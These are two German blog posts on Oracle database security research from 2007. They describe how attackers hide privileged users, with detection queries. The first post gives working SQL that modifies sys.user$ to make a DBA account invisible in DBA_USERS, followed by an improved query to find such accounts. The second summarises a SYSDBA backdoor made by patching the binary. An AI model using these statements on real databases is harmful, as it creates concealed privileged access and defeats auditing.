Unsichtbare Benutzer durch Datenmanipulation

24 Dez 2007 von Alexander Kornbrust.

Auf der Deepsec-Konferenz gab David Litchfield eine Präsentation zum Thema “In-Memory Rootkits“.  Beiläufig erwähnte er auch die Möglichkeit, unsichtbare Benutzer durch Modifikation der Tablespacenummer zu erzeugen (”update sys.user$ set datats#=31337 where user#=76“).Um diese unsichtbaren Benutzer zu finden, riet David, das folgende Statement zu verwenden (”SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS“).

————- Tests auf 10.2.0.3 mit Oct 2007 CPU ——————–

– Benutzer U1 mit DBA Rechten erzeugen

SQL> create user u1 identified by u1;

SQL> grant dba to u1;

—

SQL> select user#, name, datats# from sys.user$;

         0 SYS                                     0

         1 PUBLIC                                  0

        76 U1                                      5

…

 

– datats# auf einen nicht existierenden Wert setzen

SQL> update sys.user$ set datats#=31337 where user#=76;

 

1 row updated.

 

SQL> commit;

 

Commit complete.

 

– Vergleich sys.user$ mit dba_users

– Wie eine Suche mit Google zeigt, wird dies von vielen verwendet, um unsichtbare Benutzer zu verwenden 

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

U1

 

 

– Aber funktioniert dies immer?

 

– Warum nur eine Spalte updaten?

– Wir ändern einfach den type# auf 2 (Neustart der Datenbank ist notwendig) 

–

SQL> update sys.user$ set type#=2 where user#=76;

 

1 row updated.

 

SQL> commit;

 

Commit complete.

 

– Wenn wir das vorgeschlagene Statement laufen lassen,

– wird unser User nicht angezeigt. Diesen Fehler haben

– aber alle gemacht (David, Pete, Alex, …) 

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

no rows selected

————-

 

– Zum Testen ist es notwendig, die Datenbank zu starten, da ohne Neustart der Datenbank auch type#<0 funktioniert

SQL> conn u1/u1

 

– Deshalb sollte folgendes Statement verwendet werden

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# !=0 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

U1

 

–

 Frohe Weihnachten.  

Geschrieben in rootkit, Backdoor, Oracle Security, Allgemein | Drucken | Keine Kommentare »

SYSDBA Backdoor

15 Okt 2007 von Alexander Kornbrust.

Paul Wright hat ein Whitepaper “Oracle SYSDBA Backdoor” veröffentlicht. Dort zeigt Paul, wie man einen neu angelegten SYSDBA Account so versteckt, dass er nicht mehr in den Oracle Standardviews angezeigt wird. Dazu ist es zwar notwendig, in der Oracle Binärdatei die  View GV$PWFILE zu patchen. Sobald dies aber getan ist, wird nach dem Neustart der Datenbank der bisher angezeigte SYSDBA Account nicht mehr in der View v$pwfile_users angezeigt. Lediglich die View X$KZSRT, die jedoch nur als SYSDBA verwendet werden kann, zeigt noch den versteckten Benutzer.

Paul verwendet hier einige der Ideen (View verändern, Binärdatei patchen), die ich letztes Jahr auf der BlackHat 2006 in meinem Vortrag “Oracle Rootkits 2.0” gezeigt habe. Die Idee SYSDBA Benutzer zu verstecken ist sehr interessant. Das größte Problem ist wahrscheinlich das Patchen der Binärdateien, da das Herunterfahren einer Produktionsdatenbank recht auffällig ist.

Paul empfiehlt (wie ich bereits letztes Jahr) in kritischen Umgebungen Checksummen-Programme wie Tripwire, um Änderungen auf Betriebssystemebene anzuzeigen.

Pete empfiehlt den Parameter “remote_login_passwordfile = NONE” zu setzen, was oftmals jedoch nicht möglich ist. Den wohl einfachsten Test, welche SYSDBA Benutzer existieren bzw. ob bereits solch eine Hintertür installiert ist, kann man unter Unix mit dem strings Kommando machen:

Interessant ist hierbei noch, dass der Benutzer INTERNAL auf in Oracle 11g immer noch existiert. Offiziel war dieser ja mit Oracle 9i “verschwunden”.

Geschrieben in Backdoor, Oracle Security | Drucken | Keine Kommentare »